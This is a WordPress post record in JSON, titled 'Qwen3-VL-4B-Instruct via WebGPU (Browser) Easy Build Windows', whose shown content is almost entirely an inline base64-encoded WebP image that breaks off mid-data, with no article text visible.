{"id":326341,"date":"2026-07-21T19:49:08","date_gmt":"2026-07-21T16:49:08","guid":{"rendered":"https:\/\/mysteriouskiev.com\/?p=326341"},"modified":"2026-07-21T19:49:08","modified_gmt":"2026-07-21T16:49:08","slug":"qwen3-vl-4b-instruct-via-webgpu-browser-easy-build-windows","status":"publish","type":"post","link":"https:\/\/www.interesniy.kiev.ua\/ru\/qwen3-vl-4b-instruct-via-webgpu-browser-easy-build-windows\/","title":{"rendered":"Qwen3-VL-4B-Instruct via WebGPU (Browser) Easy Build Windows"},"content":{"rendered":"<p><img src=\"data:image\/webp;base64,UklGRmBKAABXRUJQVlA4IFRKAACQMwGdASoAAlIBPjEYiUOiIaEkJhGa0IAGCUh7erc\/odWFkrsjDj+gV6m\/uf8vsIxdes\/Lz\/AfuJ813G\/c\/7c\/A\/sf++fMR+7\/6PjL8X\/xPNd6A\/5P+R\/df\/E\/Lv\/a\/s77pfzt\/wf8h+\/f0Dfql\/q\/8R\/nv2N+kv+8\/Zv3y\/3z\/h\/+D9h\/gX\/Sv7z\/1v83+\/\/zXf9j9lPeT\/kfUF\/sn9u\/9XYm\/u97AX7mf\/\/2f\/+n+4H\/N+Vv+n\/8T9wPgT\/nP+O\/9\/+2\/f\/5AP\/P6gH\/q6rfkv6avNP8V+S39q6ej2V+O7G38n4K\/y\/7u\/l\/8H+8PLTwC\/xn+af4n+2\/sN+dfkq+rSAb9X\/rX92\/vH7r\/2v5C6BXWp7gn63f6z2x8SH1X2Bf6X\/dv+X\/gPzA+T\/\/k\/zH+T\/c730\/U3\/T\/z\/wK\/zL+uf7T+\/e1x7Rv3B9qH9yChwp5PePi+UWDcxkwYcr08PMNL3NaEKhkdG1Lnehyfz3V69iiuXo+3bXzksuBcv+jaGWDGx4h5Z9tdUOd3rt5TIJCi1K0Yzs45ROHSPdCqQtjNSVEl8gol+5ePfsdcwIcVpHEmwD6cEJc3issScRZJee+nTLQpRyZ+tR0Bo0en+uPET90+BWduuxew6hhBOjFH2O8CHlKOp+S8MQrNnCAzc67T8QFrkKRCP8dUOWRa0QW\/rpsGBPUlarlDsry8oUZ\/wlI9+J1OQnFWXQtMCz03nyvLNz48brjy\/rUl4VCqk6io\/cscrKa7ujQXOVqh51kKhlrxaWTgLiwSHiUYVZ2UuEJPOTKt+nZ5o4GtZBJHT64db1JG2nWI7AVXLavtBh0kPTbi7MwDAxcYpsRGM\/Hc3+9dcpbFYA0hGGSMOLRKWtaptpUZ8\/9O+Uj8Wc+yVdZAlSI6VCVyZbX\/jo\/sr5KVsK4ncwISDmr3Mubqji3ZrMSpxxDeIJHHJni1J4YRZ\/MTBG9iFoDZXpCBRzbSDQ6FgR3Boxk01K4Z0kzFe1LojUVbk3M4TEMtY86KEyurLx4JogM7Tc\/Pspdbc68XIv00Tki1LkvA8u+gBWiDvtMO13UPlSGL0AFqcrRt6eLyhDY5VHql0F69aGOmz7Qn5ie0xRpGRhkaFaAJQCKoCSWwJKjNncuiX2gAoSvWQ7sfzvF8\/e5yFqGjNMBiANYEJSfFbrKrcKipFLbftPlSHMP\/TrxmI9VE0j1bcjeKgdd0nijawBEE30MsIJqgmW+TRQqGL5loAVya8V3A\/rdvDNZQtcfncQyzwWX2tWRsI2prHJhNOyXRiGiweZkAQXC86KiSZgP2q2EaZPJ5Zt97d6NpYPM753\/+sRMX5xAFqHi41GvfyBQf+3etTgSm8OljdMr1QK+buYv+E8+3fuZic5nv6E4M1ewKhvR4OaSWMeaSeA67V4fCiZ3U7sHL4xhG2itYdjFDtkk8pye9N7WwnJZ\/IHTUtrzTBMWTf9cPrrP06LV9clrQnXN4WC1WYD+grl7VsSz4TOqlUSu2eDK6DPntJw8Dd9kBW7HWFFP4M1VuDFiQ8\/e3F0tMFTpmWLRMjX9m7CGYXCyELdPzFVXXbBNR+dPj9\/jr6WSdPEGJdfVZQVcZ8oajKii\/\/yipID\/XUvFgGIYkMqRmOr+Ac\/1JJy5sJfwVRcc\/Wuvo834zk+oGUAhRKnR9XrVKdkmRs58OtzFr2Cv5fTqRfPk73Q6+23bqklT9+z\/F7GjrERl4rO75oge9kZdJ9GmJst0Yp0Yo2bUBABxHxWv\/\/pG3i05FMGJRvxZ70dT8CxCr5JItkwwc2GOQ\/FIEmJ3bxO8SsOxos\/\/q12Joxj9Q8aRjDI9mPWXS9IBuf8IbqcAnWBYn0\/cUPw8KH7aHx2A0X05XXUTLyBsBKxcsMG29DF6LCN0\/waefX8jhqytAPlCWMLOhklZL8Cf72BXx+1NlaV3yRY1VM4wUpc+Rz7IpM0k3SaqpbvxuTpRzpFITZR9dTa0qxOmOdVEdHJfb+ToFE3\/OEliLe3ZsLI7CrzyU+a0JH3ByvENgxnpOpp4zs9B3SQVceSAdNb8eg0KCRC6U5qYdh6pDzEG9JNQYDWXHL3\/EklAEcQwtuVpLu45iipGeSXEkvhzbhmSSzbXgPNuFu0PQWb+JPAiXfiZEXK\/srlH3retPYJibTfcSezgPZjBpn7rzJP1AFWGxSRhQLPJH+dPNhKEvuSkeqQePGZQtuwhrVsdY3wZqmqwWM4vOylemxJ6TCxirFDf7MgpGBzESTaDwwMhVTKeF5Ggpn4wXoNZ0u6HcjTbpYz19hVjP8eM06uIeulhM3reEF1Vg+1AgVOChW2chXHBA7p\/OEu0VFEb0zdSPaJpHxSmacRVFuw5fn7BpDk41\/aCSPF4ZjLVGScpAShi4t6CcmW9AaN74AoJXVOf6MkoHBrjztttqjJonEuewF9gl4MjMetM70YzhtgRD34hMPVrEvAUzXJmVIt+SYy0Fhw1+hLxeRpJacrnypOyc+IWZ7S\/qzlz5tdQBeeCvzhf+C2is2\/G8pTtKLlar1uoekuD5PIw6gGxq9\/pWEec7AkVivLEiJrazZkdoy5FGMbnFDNwIEJR33XDgon5CH5aRhGBaK\/s8Ct6kx\/gFVttf8oTO03rhOCBS9kDBIi\/6US4l5E8aDz9XdTkfdwvO+1s6jpbztM5LGio9miEjlfck5RD2Mc+F5PRb9IDIT1cOM8rTHD8E3KeYye4+pp7KN\/q0C5f64psDRFO7wrSr+fuIMM1xzVgCEpEfie6VhnT+x+5ku5u2fEmYvWTz2DNwcysKuY5esdqF4vAf3b79\/i3qOKYVvo+DXMsmaH4xZ4QrZRpB9g5PDWJCVGEl7lxJudW9+RGljKQmyA4ipdjVSoHc82dKpxvJEjxLgyw6JXfmauLOcrl4SRqiqvLUV32hObf3wRJNOHlfhQZj4G\/WPFl7ZqNdk0\/oFtHTHWEsxEEjkNdQj1wcnxAacr\/shIIWu0Hr7x7lTTRV62Hc0l\/dr\/LPrwcYFLAUOL\/wGx\/nTZt8A68Btym0Wn2fLutsTMg+ewiETr08kycHxSH0LqNezfm\/HeTxKho+bRMXjvmvQGaRJq8pHAnASu5fUtuyJCe8W3gYVflVVkntj2zDvskodGRHvMv+2OYvlKenytULnbDGhZjIzzXnG\/jXrKCKuPcsjaScKr8PH2KzQhfEYgfRDIiL5QEEk\/0pcRgGGmRUETw81LSNg7JOd36J0QdLiAeb7xSY6sP8Vlj5fry7OiPlRpYpIS04jV3gXqoXJUHXKi25kOWQ9lzH8W4gXo1SAA\/v9djtbix+Ip6j52ormQ4hwKaq+LH\/mgIoHB5ppAJaRTsKYlH6HAKvLgNDjrC9i7uI8OGkxfiYGRgltpnFtaJUwYWr8jdOcvaAg\/QykwszrF4Ch0YxR1auy3PUFrMvqWCb776cEmmWYfvfSYwrxNSBesgpTRZfhrBJA9DrHW4zwfZfNoW+2hKc93e8NnXdFYmPrXHfv1upOvfQ44KKbbAFJ9m\/Wat4Kgsa\/ljpNl\/uoUghlCIVDdUYN\/vIMJqF3m0Qq7jKfG0IR5n0FAWBI8ctD+OwReUaocsa15DAYILkQTF1dM4dQ3LHclRZbQt54zEl\/wYwLGU94sfwwuFA2j1Dn\/hvxshxRlsVhXX64t\/KDo4WjeIHnZgLR\/O3wxwvDu++QKH62Zz6YAAq8Al\/pjnUwqFhNh7y6OyVPAKVTm1bw2PdB9pjd1p\/SZA3+Lm5FglTq9bZBGXuwXlF7Pe7Yo9C+DrkWLcbMNlJQKVrrN6cKCfo0P8oj\/qZvZsgXzKfrKfCV+NmHpcu6fQF5vDFgLZwzLoqmA9TpbtXTmeQk9KnMDw0TSjE6T0Ipyji6CblUXu\/bBibxePLeJliY\/8eMr3QQxfB9EagvjyJDAlSTpQU7eOOkiT90dJPk8KXe8AJFoZvygJr1rqT9xhemJXWxAh4vuhNijqq9GF+CKGHRX+rwzKCOPn4gSIa43\/AR0MpLHjFXdTR7SuYKcHOxFSTyz7J5x1gDONcL9dxQ\/WMSZZRrUBB4iDQKPbJUq3qP1x0ySXcBwdQvbFwUlqq8xbe8iTE1fm9tSKlRqC92rqRvdp06HhSsooRgOyGVvrKHAgnZ61Op3HCJTqQM8b\/IXeAjvc3vuDojb6jTszsp8\/VhIFjNY0n3onrNU\/OLHmbadI1TV1RlT9RYWBo8Ht2PNpKkHZiklwFiLma0nb8OQ6t6hNRVJWICmgIb7AsE32hHmYuPM+wltMoYNGJdYVupI42XGklRzUhGEHxWE75f+lNMAedikoIu7rU9LhOZLgCM1ShYajGhOz1Xm\/1vcl8c+z+T8SxauUS0vHOtoJvssGEqq+tzr8cevpsrsVTqTOcnrLGyVgmblyev2s7uTxvmdxBVPlaazzMk3\/Z5y7XyshhP\/FKpmCPwmsZQPDNY7m8TnPMvClMSYBgfZR\/v+5SqLgOSFneNC7lAKjVXST7w4vmfJyUuaPcOpsb+NA5Z64Ua0HlfimHut74w3OH+PO\/WLHksgmzPvmkBSgBuIxzVgeNC1yYf66kJbQuUm381v\/G9fFoZcSuEfbdaDkvlORn\/ZAduBQ95SOLPm8M1zDA1qfRHg83+yroUF9EIZbJ1WFY05VTBlsLfTlmYUh83sMHMFl+hEjt5v5p+VkewMo3NNxJjfBsDRSrSU8cHDSDC14FDk6X7ikr1HtzeCCuIKZi3Gq2Sog0TL6XGDAJu3lXKiDhj4577t0GBBBWwSuU60wSjsIVIS1z5R6oHvJubzLbE7cd9J\/ZIztx2v42Eby7Tm8iXbKjMXMRfIIIVxylAKI2DGfKJw1X4e6M0UJ5yFxN2jzq2Z4CzRhF3yQ3ZMjGCXKsVuI2yylQDvNO5CxkVC7sRjxqq1InYTtBee1aWiA36Z8j\/vUZUll7YYlVPvYgxGS56EjJ2sERoYiL7OkZPXkj8ge\/N5SK+k8mivu8jgBiXKEzv3QXXJIM97mYnaSOvsu3KrDsBpKY1A2UiruWpBYECg8hEhsNgWG9Wa54KnCj01lUv0szkQ5VOaY2HcfLTCsVzfcD6qg6emQ4da7aki+xm3Hsp+\/EefwVEes5ZrqkWEbiZ6z7bJFHvtVrpD2uLYg5q4xUANp0\/EhS26jhNzrkvLrCVZZGEZ+KOczuDw5ZxyEnv+emvASXo81n7kqTfWX9cveHNlNzS1nrbi2V3\/cBaSD5iSlO6JYBeEo0\/do1Tc5ZvlGKtMcIvYrhwEVTfABg1JegimFucOf02nAr+Ip8Ii11LQW3On0hG07\/kphgJapfRvoI33QooGN\/xGePMcRADW8bnDiMavGKt3Zve64kdYzbNvxXISBaLewPxQ2DidBNkM\/CPCb364wVwMFPbLiFB3csgch0sQJNo0EB4n2MPFpFChm\/F1Z+\/y46VSjZlbW+8dMjU++J\/xDcjMb66SXGWhbqVPosCWgXLananR9SNetV2YEfxZC6L+c8sVozhxPNhwp\/Qa45Kqg4THNtlvTXqVa2rEPpruTrN\/mZmQQIu+nEFlBfdGlDGbGTmOX10PV96WNrgEEJ8GYELGIC2ebovVFYWd03IxjJ40R5g\/xj\/Y\/mvcVYwC1+ViKYx8Xhikf1fvQ3nq8A1WP90NfvKw942nxjnhLVgfXDs0cFuKr+677GGmOUQpd7UoEGChoCNIthvCBoHpGx7BQthl29ypjGJcXjDqNdR9aFSRgscakOUo9GDz2b8K\/9D+srPh04s6CsDrbasbadydadwkn33P94i3Ix6HkKU2C\/CiYvXrRz5r41DWdejzsPRaK3VMkReil2f9\/oROJYX8Xr8VWlYjN6AumeQz2W48WM9aKlB+TvuXndXpZVtkfZLk37kf4WY\/CCwRPjYWCXN3UdoVCXZufyxcA6cEdJ3A8V1ScuRjksd\/rgYzN6fEeTEA28pNKAuoy82R7QnhTXf2hJKaRDjXQ\/c5ZoX4wV3K7uX\/Ifyn9qclXtvRUlnVvDuZeYF11McsxEBCbQlUAzxvCkW+RFvI18hd2SBPnE\/\/bbE5woY1CL1ZE0N\/dN5oCQOO\/KtdiLnCuj0\/cyBFWcVgWVpJcagxaNm\/0s9QZdYCSR9yG+IFgq4Qi8orJbxW4DKN4F3NIcg9\/nayaalaVGuDqqmW0hKz4x5bUOWcm1fagzI0OmIjVUZig2JZmIn5FAPROTKA7d82a1YyJekerw3qD99SQi9CLRe2+Wd2t+jzjGU+MgpRo3+YijRnqdENgORau\/JWWH\/ZBvECRJoW+CNS9gbwwBhGZoRle4N9haPDyn4VCHEy7VJy2L1Jp06a9\/PiVp7xWR3v3Gh2OTOii6bKhKbmUeyetw4OaTmC+JJG2rt+Z9HDh1nPQqcZc2qbUMZV\/MieqMExf+zmPjvkicFoHoRCo8b8vdacVO\/Pu5D6UebphPbktPbISQiidy87GenNNKrctp4dcO+BVWT\/mjJbc7HWPyimYNvhfhyAGj6G1E8zAX332kk7ZtPVDvvLvxSW4msskiBvn70fhhV+CNtLjNB76HcVy\/X74SS193NSerLizxWn9Nj5Wmsbf2I5gyM6\/Yv4zJwTDIacu2WajNb\/gjlbbGVmyCK5ecO+sEa8ANCpHzkoytrDYMM5tqhPwUVa37HYzfc6dib3WGNjW4MVQbgClE9bQ7oCNNikHCP5V\/xVw297Ge0mcnCjgpX+nGFCb+pyCd0AFBVUJoZhCOB0IaJw8NK7bJc96zNRj2JQY+5S5bxraeGrI\/KDmoZYaH90Oq4GIjgvqmZEECiXMHuTPc6dcE7d71h0m8N\/MpH7CFz92OKyf5lq9q4aVHZW54oefZV3i76w2GZqSYVRDfClHBUmchsD8KdXBnWKziDLWsJYao0t2JHZjJ5eIRpSEzpk2dpxTqOExWRTNV9Ygal9NNvBzTSd0iZnednruu\/7ZiOjJucOOocgsWoXaW1Pyd6aqkzttw2yl3UBx+VtK4EdCjUwlIwiiEtihQPg\/ZIwfN8PpRyou\/eHQtsCJUMxIgulB10xMt9eaK8QfnLlFQZ9Pgxhiu4AspCqogAqzO2AdeVc9ECcW8yhpuVtk\/OtN9Bssho+1MpMf0C3DrvAktxUkbw18HOBDVwboICem4u5Pu9ZNbPhIOKqfMieuT2uyTP0bzTsLiT8+RTjBIeuxBUxK5QYQB6iuAI3l0QYphd+Xl9DFzFXCk1jBx2U9MGnycAq0YUp87HZvoZC7HsTY\/wtaMXrxtYH9LfEJkmQn\/mV+wVsTMrzKiM2tzQVzklxgdgj0qFJRgIZDDQ5zK6ORhQL\/fyda0eagpAS5FtknaBgZW1qhzL36pdLE9Tp6LJ\/BVVAAYQwNwp7fqxXAUdU0\/p0HFJeVSUiTwfkxWlarbp95pP5eOnk53zTTmQQW\/yPgn5J+r++91qBUa2EfIO6kLMXgoN7UopIqriKryH\/siIJs84\/eO7d+R735kpY66c56xzg9a60Lx6gtgTlfYJ7tRKS5O+QPemgTSR5NuSKT3MGaqB1eojZrpyl80SeKb8RnFwjRPglQQR4Wl6WmR69BvRzTTPmnJRw0Y7UWsrvIfdfXGKRe+yERsZmugaw+QUB2CykFxhhcJ0vG2PcEnxxz1eZhrxpOo\/++Nab0gSphRUOSGa9o4b7GqD80OLdP\/fdFYq5o9pQlthFDfaBvyMbRAFCxddUgoxRqGDhqKIWp1ew9XdRHdY2Bk7OKLEFcVNtpTCUZYh40Fws+X1dw3bW6WcFK8FUK6dWAg5Wr4Ja8l3h5irC5SuA2jQfmglb8tks0Rpn46\/x6v6JsCBV9EiaToHJdLPMh93KmoodvRMKvmacyeN\/mDWMWuQ4PTjEOe3KIYgaYelDQWF1j2Hpcydjsun0vyYp48biRuIZ1yJmbvko9gxxnEmtjlHs+FhTo5kfQEgoArhf99HHEs2LBq7vkMOARv4K2fvEXXPiLtoXm2K8mS26DHo9O6uMKSMr\/ukQoRthuWqnA1+gNR6c9tNUKMzdV7j\/gnbLggjntMzHnEaaYwzd5jkLWDG74VSQLltRJNj5f4DXkJhJD2b66GbPPsWtaBi8VtTy7YC3XeUWfwmqe\/+dPLoLaC\/aq6jrwDcElzo5Ypiqt4CCd+Io3m\/e7rrvYCPYu7CIXroAXYVvSrmihkfJdNuurjqnV579ZGvANJasgjeeusche2AG7T548OgJNlyLkVqWRk+1awSWiXIjOhtQlybyD3sRjaU9BvJeolp9\/kvnTQCvVoVjJadw1HTWR7kZgc42Snlc5Zdk0uBI4EyrFpF4+HktWwPte3RlQi81gYfz951ukSHS8+qYzezBoe9m7ZGxboOMxtMTua32EyqlmAXaWhl23rnIp+pNAvo2859lI8G4rEZIuwTokspx0NnRzG0BFdUu\/nnt4tVdDl2IwJoETaDuR1unip+Et8uGrPsj8H3tre7b1TnBdkHbTnHtUc7JEJzJ5CNB861dNcgrJSGYcjl3G2x0tv6ajLMkcNBA3IEx5uyMihZ+LzWVmtOJmJC11a0n2l8yvhdauVYD+GrWNSLzHsNwFoCc400vQxSMFsapDHNzBI+s\/1gtRWmJGEvnu8Dom+uh2a8HGHiyx6yQpbDLc\/ne4SkZ+4fYNi2IyKav0T78YkfOj4q\/uYacTIueIpY9HoKXl2+0Uo6Y+YuDhdPtflQGAMPszpU9iOTOSqP8zn6KAG8Tpt0YUw56FVpdi9wdJPp+P+HHibCiHuvjSJ2+eH2yeS9zWbfSw4EuAbYxBmqnSVnbbrJhkCMUfkJSuJf2dCkJM\/hTDtDYfs6cSRhAs5QV9ERiJWuNptXdAJricjfephts0KCjiJdppCA7kx1\/+4Ho\/xP89kiryquGK5o3\/YePkEN1kDn+RJr0OMx\/mJvPC1lCgru\/9iheDVEYt4Uu1K1LNGNG7jq1ziApqK3Jlv7ZEWme7judQhHX7mCbjw3ND0plPLeYqQFxVAifg7zEJn4F6mF15SCWkBelpasJWHHi3OF\/sd5U68Nkmllhx0ZK2Si4tIvckbSbQVi8dt0boNW2hPHqtbH4gCZHCxB98166ODU2nOKC78IHbXbO0DLCwHk+N6o+\/eh+Lvvif7u+hIcdv3bz06X\/elYp3tjbIO4h2R9vNL4qN5JYXDS2LP+incCvjQymDie3vPPlfTQhX3q3s3qMnD5cn+nlEXr2E7NV4kHE4T8EXSPvcj9HDzZyMl8CmYynu4lK6TljsgfMOG\/jzey\/+qs0Bo50XaqROFEX5Te\/RgmXBPxtyk1wYuII3BK4kzXDs53bAWKbgYToAI0FVZ8wKNWLFKI8\/awNvSm+HXih880LCfigasqQZ5\/Fnrs2oGuaNOgsBxAn52fMRYg2ADsfZ23wyNIP13Bm1utfG2rHhqmhBKmytOx\/eSNnHCr3zQ0u8eb2ear5i0nkyoenf8T405P30lpMSm7iMOjzUOxYZUnbz9o+zkvU48QsM8gsdXngmAYSV6p1D02HaTzYQtjizN3i8LQb\/sAeNbZwM3H0FTL9jv7Mrhi5HZsheN0NLrdHrxUVt3oLuT7GA2CnoTBTqXP+X78AkvfwbaDQzWJ2KVMG9As30PHrucYXXYY8VciLsrAKOKDMpwsRCdW+aO4jK8wYFb9E1a6ZPKj5buKEQAyDZ90B+Txauo4Y0UidkMCWbxBd6zx86xepJRVQje8ysqvNzidGecXhc1TYQquRvtW5zz+qtDkS\/6k7XGvB1Tk+XT4Rx7yA0H418KNGxQZcKLh+UfNs3L3AWFTF2usLg3jR8bOKEfdUmKU3WQVCv35yRJzl19xHJNCdOZYtawFA239yjgQ0qoftWtSvkTI8m660uyEt31Vs6Cy5HCaHRremphesD98tAh3Ox4THF\/ZIWzObKmui0KA4v78yH3Rie0nerzlaH+9wmx0Zff8srMXVtVWim83xivbEr5vKy5f61bVJCpuZXCED53c8waHm4v6BmPCCBSV\/8Kl824xMsPGQ8tyieZr2srGpNNqGHm0dCuseYKlqVgSS5EDWv5uYCKx53+NBk5DMYt8s5WVG\/hjYQDsl\/6qCyJ\/YMb2Yybfj1a5aSE6JcmHi4lu2gX5unBTMQKZXYPQnivVcPCTH7qhl17MWXGayO4CSt2BXDom0sUGbzZ5SyUsOu67+V+Ut8PvEVgvyaTbJVaB12mR+xfwbejUqj151a2ugtQZzmLga5EwXb4QVZzawQepSltGL1eod+nBPY40LMQt6SCACZuNZitinJSj91bGvBXbQK915FZ4YDqWcPvv3vvOuVeLJXQezRxugJdmbvfnFWkTf2dnnrM8GFZ9tKfHHLOvmXQOAXMqTDxoR4J9ATW\/F8uuyU3pozDE5DI+LsmLGVlES6aggUkfUB8TleIcW93s02B5OWBuCrFdUUuiLWy3dQvnzDqb0yCLI3cVL9n5Y+i4rKiA2JzLvt0H0+PbiUei4+\/paW7nYRmneeKO+cCve3UBcqsa5AIijcydAWZ7XsCxWn\/ulJDoqugXd2DENN5CCoRRNZRnCRt5uo58t6RNYiDOoJYIARJS2pMGJ44ntDQEoQfvrL\/QyFeHJvzYwGModgqpzXWN6AXg6vlsbZbEiDC4akAJHi6ekcL9arH2C+z4v69aKCpyg5EPEBHFa1IjnbFwSqpL7NGnRgv62ahaCRVck1vx650IrQUDPwHWtt2j4D3A5iAoLUae+y3OPPMf2oqegY4+2OBl2uL+aXkswaBadE42iPLIRNiyHRfb\/f+wySp7ZYWD\/zZTCnQBlHm5rgUrtrWQfLDx6ASDWzO+8ZA+2GHGbhrrRGg2H4JQEGC9m2zueiW30iG8MclYDDLB6WAmQcKBfFcZqV3q\/hx1UiEyFLvL5Z\/cFVk7Bk\/s73tbinsqvOB1Er0\/CKku\/OCEU0VzdjFcj0dqn0bCrYoPoXiUCLfCNJO86RROwf\/1\/SpRw9h8qPoctH4X8B2aUWEPKQNexzuG7GeSwlD956vR8vo6Qa5FV8n6PUe098WOIganlh271XYlxTTTw\/y5KXHkacL1\/3TEv\/4u25RBfdp7peCDPIqhRz89pUkYVoXZHMZ3MPu+oeMtQ53gE2y94MlFN\/xH0eIHYzLCIKePt1sRhSN3P1upA5\/KdaYmUgA3X5SvBkf4pslbOJ9WurN4q56I9p7pvZ+5B2uCy3f59l1g1ZfIexveXB+RTkz6sevp51oCZjFXmxy5F2ASyjlPh5v9Zy4HIXaEbKjq7qU9PAx1MHErt9zkt+1Xl8IEf9D7DI\/sldbb8FikOytJXXAgxT1bzm5YpxCKPJakvOZrx05FQs3O3bFt1PnvTuvPYJRxDDWhNYFNUY4DFccwoV6h5YwBNtcibk3nOu5\/+Cn6\/0LRnP8PkLMUNL5XBpWXAD1YiU\/M9F4DpuFzSWTGJjnvIVaFZrgno9l5yzz3aHjd1+MKg0PWFVWMH86Z\/pGeW73jLreAlvNvICKaC5Lh1ouOfJ70V8A3CaB0CTXqhxyx1NTx16PxKLAE8aAoqg9lJDOB\/hTelIg9CMraSUaNn7TL7rMUwm+dSvXRVi+6VJCKJMG0QkDBpljsjZnIyyV\/4T3e05sB9DRVWElpqnRQQoxEbho3Qk09ji9XXCJ30re7JVxtO8Ab9U+rKyHMEv8ksGolZmSU0DD2kXZiBr3x+2F81BROzPg6+xaXhU2LtHFAudwtBHdrWM9fNkPNc2xRKuyM+zc7NuzlzFR3WyMqhst69D7p9xQnicOKHSMpkNl09rX60M8HbYO9G9B\/EjgPjrl21OdaDqjulFG5RXNwBEqUP23l+eGJT26dA7K+wcOJ5HZQtVmH0XBO\/SQURDHIQ66t0QP2OIN1q8xcAY5iSe4aYiMtD1SLhv0WiIpy2t5IRN7oAFcy4fpJCjGf1ehq7c7TCOaw6mBLrKgOCQtN\/7Nw+Qw0LV8poHS\/y74qCX1iOpwXam+ozr1ooFf80BnYJ2V2+G\/rBpgxn7eX\/nnEep2GFreOPFk5oih89DysVoFXtZuds+1XNUhzaNkJKuRqTRCOFBFrEuQaK\/EUdBbssyIUYGl2kYV3TH0KAnnl3cLOJsdkcy7dYi8vCMYoH7Oy1xVTXpy\/FqwvLVrYRvJv09Swe3XsDQRH\/H0nlK2eTi2BwhXbJrcgra4U5FUJ3FWIrAvOwbysvmKeA4m3jplhSZ8iCEtos13WQ7NWndwKBA20WRLsYu3j6kcE8fpLmvFavB9\/lHusZzOM6npgx\/MxWOB50uqApBiXYiDZ5DMp0AYPOLqhRT7he21zT\/BR6eI2kfI8Pc57M+fC3OGUimSrqNR5OjZlBRIOMapC2fyR1DLwZKhHzAdU3EMP3LBlqIf7pxTGUn8\/nbqG65a0Mpqj6pHHJkiFT\/smNkXPJwBY3LcOV09NwfrDkAb2M0K6gCa4oY8A\/gCs0bvR8EhpFF9XxzU2gvG13q\/V7YrD\/EI9UD4G6HYDga7z7kq1Ru0ArHytGw\/TER1LptlsuKvhZb2LAA1P4ilUBm\/i82zxivkKQ9P9eCtt0ZsgDeHERQH3UD7XYV\/489iaZgd6dG5kBHMqDN491SyqoKo5xF233nWvGqIcGjNpa2nMEH8GMlf+OEq\/V7\/S8Do8jx9N84TSn4g0nC6lFp5SZFRSjSONZKEq\/mqZQvddO7rglvM1K70sTiBVHmFYFXZCDS5r9UJejXiplcjfe4xoytMh2VEsS3bhO\/4lN+Af1gAdaC6g5Zqddy0RROem+6F7HVLgDqVKTiIDdkJomD8fJOYd\/K48kWZ1Agep4sAqUCGgd9uS\/zFDWVwqUcG\/vWwz6Nf\/S\/1OBwAE\/zBQ55+h58NEuZZ8rQ2frj7kFdOxqvui4UZBcLl52DJMpXj7Mwv1yofxm7\/etenk\/6\/UPppmFUDaP4AF\/oZ7F0d3JKUG6Tv1bwJzHyFPbE1imHnwoGFLTupYY8wOauO2juLQj5h9n3y\/ygcPeNEocoeV91kmxxcu9CF+xUKJKfAg6raq1kXqQpN\/MXCY4NBw9i2Peg5qCD427Z7FGLIOJVKSukPEBtCQsZehJESwWG2Ks8w2ZnElBrDJqzrKyAP9CYjZE217uul0IPSn1UsDcSbIJYd6G4xoSfYQ7CubqHBJhtw3eSrgGySHBTtUjeGe\/didqilWsvKhrG1eKhEuhdn9fSJndiltyo4nDCRUxt6C7tcqk55Hlims63QhcwEUDb0PKHQy96rZ2BjJFSphl5IGYTf4NaOcC1776F1MR+93+KcWXwvy\/Acx6icVbOFYAtm9U6umJDmy5PM1bcEYyuIQbX+FoCwYuJf7VesQv4VeWGep8sRm3tDiyL+cDovOwfkkI8qsXbxPJLsR+HXQuNZbs1BYKboaACZDZm1KmACyeAh7eSuWDvgWxtz+hJHMiX\/7bsRobnGxK2a\/TpwQZBf4APvFZjfLDcOUYu9APA9bD4nvhMc420L8t5yen9t9QJJ3UCHmVzRveovNz3NcT+8q9+8DNDQYtqvNIJ\/5qklpYz0ZRscceKs7GPBio6vZ7A0sD88erzxT3\/hXinIsDMNdn1QNv8Ct+mU31Buq8vck9ZKZNeK7NWwif\/gNzCb33vpt7e\/L8ehmQAQ0g\/BhkIhJZ\/6A7QP8J3US8WI7hetdt4hREKfnyhJxrqxf8dmQbrbv2+h1rTzPobcvqywy2WbQcFJd9RSDZ48OkbITjw7xZ8SRI2sqTygPYbmXNJ3su1D4ZCWEmd+6kJezjVNIAGrBcv5zDH0Pvd3FMWEIfH937fQBXHFiLH5D4fWPlsTSRu3FWKYJplxScI6gvHgDKZITH4SaZCVFY\/3z9f30L0wa8RNoMQ5aivl5UC+\/gHHs2xBDATQxnfd0bzmuB0woAOC+UZFw0Yf6c06FMtSZ2rx8jvHv8OgrEY88YoA4ScYcjhC39szNHoHgDT\/TmtVdgd81h+4Rz5gh8LBk4BaN+FAqBVa6RxpsWjX3liJYSS98urUaBZr3d\/NZF5C+XqdjKJkv\/95OC2vYZAY+XxEa+ms7hi5pJTT4PIyeZaK0NzArKp8zUNMSdSc6Eqwl956QuM9oZ10\/5KOL54mSxS2936IeBmRpcR+0Fn6CLSDwgKMvdDyPPL4tp1g8mdDdVVTdQBsXHD\/ChtbdMu6H6g\/SUKrFyHpTTn\/TCy3wGZ2A1UJ8zmSk5YLma6OUUkmfzAs8rjVRi4YDFGdnrlOkyU4UDZ\/zleNIENdUlGL4qp5FVsUt+bkUQbUJuLjLghS3yfibdqK1iHNet3TpK+IukjHi\/suIr5df5R8lWbjJ+ydkCJYxrdGwAs0R1X1kf\/S2axxhYljoWQUn+7W3ytHYqm4T8JhuOsoTsBOP4l+y5iBOhGjsm5OLuDIj+DuPeLEEf+k+b3NVTldfMqr9uLONeNEXzq66P5wFDshbzOwk5bYaM4FmrsYpAzML5CKidvPOAQ196rxq6kW47IncaJIMXrZH5WGdlz2wNTiicJAXaZDXWR\/IJND7Zyo\/SHnWwMtr2JLIZO42SPv33Lwd6x65H6x2jcRtMrdJWzSUbp108OXSlip7zWFvWDDy699918jnLf0YdUeK1tHKJxQL+cNi7JKSz7rzARWbtju\/g\/DHRQSaRzLTg1YZZNctZmBZJ5IDyrFPZ2tMjz+hKOus\/KzHaqZ79I5\/sB+bIfxelFuK44U6CAqs7CWdy0AgTWrSegygVgJWzWIElEgBmeDqR8wlapdeP9dW9jRsEli1mtP4AswNNAiBjshSQ8l1YTrlj+zomHYeshGHAntTWgSuYYvwd\/JKbOPOTaxiy1GL2kdMTdTV+uz+gKzq58OEX+GHi57FcDVG492V0Qsx4T4\/wSdivjxBYmI4L3aUdb\/Oia0I449WpKkMqa411Oa7yLgbPheJCG3kNqOM8K2O7nSiC62EhD5moWq3Ay684WZwksPDSJpdKNkNb5MzdNALZeOO0vJ2v\/hNB6WdUIu4xGpYhkQ7U2uXBQDRnzjdz4uDqCZCRTl\/6dKaseyJAb3Ql8+\/TJs+fm2bEjfyGOTMkIgJ8bogICf+pDK9Jg9QcvpGlR7Dm96D6d34L3PjD28RY3EcU8LDmo3Y0ypylo7gyK\/4hVqcAaBiKb8XKh2g4+hwuDvPUvA2Y0q7pdCUPbfDeXh9CQSos7BBaf